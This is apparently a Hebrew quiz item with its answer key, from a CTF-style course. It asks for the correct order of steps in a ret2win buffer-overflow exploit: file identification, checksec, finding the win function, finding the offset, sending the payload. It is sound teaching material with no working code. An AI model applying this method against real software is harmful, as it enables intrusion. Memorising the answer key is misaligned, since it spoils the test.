- ב. A → E → B → C → D: בדיקת ההגנות עוד בטרם זוהה כלל סוג הקובץ
- ג. D → C → B → A → E: שיגור ה-Exploit כבר כצעד הראשון של התהליך
- ד. E → A → C → B → D: קובץ, הגנות, win function, offset, ואז Exploit
✓ תשובה: ד) E→A→C→B→D — (E) file binary: מה הarchitecture? 32bit/64bit? (A) checksec: הגנות. (C) nm|grep: יש win_func/print_flag? = ret2win קלאסי. (B) cyclic/GDB: מצא offset. (D) p64()+sendline: שלח exploit. סדר לוגי: Recon → Analysis → Offset → Exploit.